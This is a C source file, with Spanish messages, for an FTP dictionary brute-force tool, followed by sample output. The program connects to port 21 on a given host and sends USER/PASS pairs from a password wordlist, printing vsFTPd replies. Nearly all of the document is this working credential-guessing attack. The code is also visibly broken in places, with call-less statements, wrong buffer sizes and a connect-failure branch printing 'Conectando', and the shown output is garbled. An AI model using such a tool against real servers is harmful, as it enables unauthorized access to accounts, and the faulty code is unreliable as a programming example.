Language: C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/stat.h>
char cadena[100];
int asd;
int i=1;
struct cracker {
	char host[256];
	char peticiones[1024];
}cracker;
struct attack {
	char host[256];
	char peticion1[256];
	char peticion2[256];
	char peticion3[256];
}attack;
int main (int argc, char *argv[]){
struct hostent *ad;
struct sockaddr_in serv;
char buffer[8000];
int bytes_read, s1;
int i=0;
bzero(&(attack),3);
bzero(&(cracker),2);
 
if (argc < 4) {
	printf("%s <host>  <diccionario> <user>\n" , argv[0]);
	printf("AVISO: El diccionario debe estar creado.\n");
	exit(0);
	}
printf (
"\n ##   #### ###  ####   \n"
"#  #  ##   #  #  #       \n"
"####    ## #  #  ####  \n"
"#  #  ###  ###   #      \n"
"#####################"
"\nSi no te gusta el nombre ,cagate\n");
FILE *diccionario = fopen (argv[2] , "r");
if (diccionario)
printf (
"\n\n#####################\n"
"#Fichero : Existente#\n"
"#####################\n");
else {
	printf ("No existe el archivo ... madefaca!\n");
	return 1;
}
if (sizeof(argv[1]) >= 256){
exit(0);
}
 
memcpy(attack.host , argv[1] , sizeof(argv[1]));
ad=gethostbyname(argv[1]);
 
if (ad == NULL ) {
	printf ("[-]error gethostbyname\n");
	exit(-1);
	}
 
	s1 = socket(AF_INET, SOCK_STREAM , 0);
 
	if (s1 == -1){
	printf ("[-]error al abrir el socket\n");
	}
 
serv.sin_family=AF_INET;
serv.sin_port=htons(21);
serv.sin_addr= *((struct in_addr *) ad->h_addr);
bzero(&(serv.sin_zero),8);
 
	if (connect(s1, (struct sockaddr*)&serv,sizeof(struct sockaddr))==-1) {
	printf ("error : conecting \n");
	printf ("[+]Conectando ... \n\n");
	memcpy(cracker.host , "Host: " , 6);
	}
 
(cracker.host + 6 , attack.host , strlen(attack.host));
(cracker.host + strlen(cracker.host), "\r\n",2);
printf ("Leyendo el diccionario : %s\n\n" , argv[2]);
while (!feof(diccionario)) {
i=0;
sprintf(attack.peticion1 , "USER %s\r\n", argv[3]);
sprintf(attack.peticion2 , "PASS %s\r\n" , fgets(cadena , 100 , diccionario));
printf ("\n!Comando !: %s", attack.peticion1);
printf ("\n!Comando !: %s", attack.peticion2);
sleep (10);
send (s1, attack.peticion1 , strlen(attack.peticion1),0);
send (s1, attack.peticion2 , strlen(attack.peticion2),0);
 
bytes_read=recv(s1, buffer , sizeof(buffer) , 0);
printf ("Server Message: %s" , buffer);
bytes_read=recv(s1, buffer , sizeof(buffer) , 0);
printf ("Server Message: %s" , buffer);
bytes_read=recv(s1, buffer , sizeof(buffer) , 0);
printf ("Server Mensaje: %s" , buffer);
}
printf ("[*] Brute : Finish\n");
close(s1);
exit(0);
}

Comando : PASS aaa

Server Message: 220 (vsFTPd 2.0.1)
Server Message: 331 Please specify the password.
Server Mensaje: 530 Login incorrect.
 password.

Comando : USER admin

Comando : PASS abc

Server Message: 530 Please login with USER and PASS.
Server Message: 331 Please specify the password.
S.
Server Mensaje: 530 Login incorrect.
 password.
S.

Comando : USER admin

Comando : PASS academia

Server Message: 530 Please login with USER and PASS.
Server Message: 331 Please specify the password.
S.
Server Mensaje: 530 Login incorrect.
 password.
S.